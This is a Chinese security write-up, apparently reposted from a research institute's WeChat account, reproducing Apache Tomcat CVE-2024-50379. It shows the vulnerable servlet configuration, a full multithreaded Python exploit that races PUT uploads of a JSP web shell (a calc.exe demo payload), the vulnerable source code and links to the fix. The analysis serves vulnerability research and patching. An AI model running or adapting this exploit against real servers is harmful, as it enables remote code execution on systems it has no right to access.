在网络安全领域,Apache Tomcat 作为广泛使用的开源Web服务器和Servlet容器,其安全性一直受到开发者和管理员的高度关注。然而,最近发现的一个高危漏洞 CVE-2024-50379,可能会让Tomcat服务器面临远程代码执行的风险。这个漏洞是如何产生的?它的影响范围有多广?我们又该如何防范?本文将为您详细解析.
-
Windows操作系统:对文件扩展名大小写不敏感
-
版本:
-
DefaultServlet需要有以下配置:开启写权限
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<!-- 开启写权限 -->
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
-
环境:
tomcat: 9.0.96
jre: 1.8
system: Windows 11
-
exploit:
import requests
import threading
import sys
SHELL_CONTENT = '''
<% Runtime.getRuntime().exec("calc.exe");%>
'''
# 使用 Event 控制线程终止
stop_event = threading.Event()
def upload_shell(url):
session = requests.Session() # 每个线程使用独立的 Session
print("[+] Uploading JSP shell...")
while not stop_event.is_set():
try:
response = session.put(url, data=SHELL_CONTENT, timeout=3)
# if response.status_code not in (201, 204):
# print(f"[-] Upload failed with status code: {response.status_code}")
except Exception as e:
if not stop_event.is_set():
print(f"[-] Upload error: {str(e)}")
def accessShell(url):
session = requests.Session() # 每个线程使用独立的 Session (session线程不安全)
while not stop_event.is_set():
try:
response = session.get(url, timeout=3)
if response.status_code == 200:
print("[+] Access Success")
stop_event.set() # 触发所有线程停止
return
except Exception as e:
if not stop_event.is_set():
print(f"[-] Access error: {str(e)}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python Poc.py <base_url> <shell_name>")
sys.exit(1)
base_url = sys.argv[1]
shell_name = sys.argv[2]
upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"
access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"
print(f"upload_url: {upload_url}")
print(f"access_url: {access_url}")
# 创建上传线程池
upload_threads = []
for _ in range(20):
t = threading.Thread(target=upload_shell, args=(upload_url,))
t.daemon = True # 设置为守护线程
upload_threads.append(t)
t.start()
# 创建访问线程池
access_threads = []
for _ in range(5000):
t = threading.Thread(target=accessShell, args=(access_url,))
t.daemon = True # 设置为守护线程
access_threads.append(t)
t.start()
# 主线程循环检查停止事件
try:
while not stop_event.is_set():
pass
except KeyboardInterrupt:
stop_event.set()
print("n[!] Stopping all threads due to keyboard interrupt.")
# 等待所有线程完成
for thread in upload_threads + access_threads:
thread.join()
print("n[!] All threads stopped.")
第一步,重新开启tomcat。
注意这时会弹出一个另一个弹窗,不要关闭这个弹窗,不然 http://localhost:8080/ 无法访问。
python CVE-2024-50379.py http://localhost:8080 shell.jsp
脚本执行期间可以观察到,在 D:Program Files (x86)apache-tomcat-9.0.96apachetomcat-9.0.96webappsROOT中,shell.JSP的大小会在1KB和0KB反复变化。
-
org.apache.catalina.webresources.DirResourceSet#getResource
@Override
public WebResource getResource(String path) {
checkPath(path);
String webAppMount = getWebAppMount();
WebResourceRoot root = getRoot();
if (path.startsWith(webAppMount)) {
//获取资源
File f = file(path.substring(webAppMount.length()), false);
if (f == null) {
return new EmptyResource(root, path);
}
if (!f.exists()) {
return new EmptyResource(root, path, f);
}
if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {
path = path + '/';
}
return new FileResource(root, path, f, isReadOnly(), getManifest());
} else {
return new EmptyResource(root, path);
}
}
-
org.apache.catalina.webresources.AbstractFileResourceSet#file
protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
File file = new File(fileBase, name);
//一些处理
...
// Check that this file is located under the WebResourceSet's base
String canPath = null
try {
//漏洞点
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
if (canPath == null || !canPath.startsWith(canonicalBase)) {
return null;
}
String absPath = normalize(file.getAbsolutePath());
...
//必须绕过才能利用成功
if (!canPath.equals(absPath)) {
if (!canPath.equalsIgnoreCase(absPath)) {
logIgnoredSymlink(getRoot().getContext().getName(), absPath,
canPath);
}
return null;
}
//必须进入这里才能利用成功
return file;
}
-
Fix inconsistent resource metadata with current GET and PUT/DELETE apache/tomcat@43b507e[1] -
https://github.com/apache/tomcat/commit/631500b0c9b2a2a2abb707e3de2e10a5936e5d41
原文始发于微信公众号(山石网科安全技术研究院):Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论